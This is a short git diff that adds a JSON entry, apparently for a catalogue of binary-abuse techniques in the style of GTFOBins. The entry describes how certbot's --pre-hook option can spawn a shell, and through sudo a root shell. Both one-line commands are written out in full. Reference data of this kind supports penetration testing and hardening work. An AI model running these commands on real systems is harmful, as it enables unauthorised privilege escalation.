diff --git a/data/certbot.json b/data/certbot.json new file mode 100644 index 0000000..a8c1cf6 --- /dev/null +++ b/data/certbot.json @@ -0,0 +1,14 @@ +{ + "functions": { + "shell": [ + { + "code": "TF=$(mktemp -d)\ncertbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" + } + ] + } +}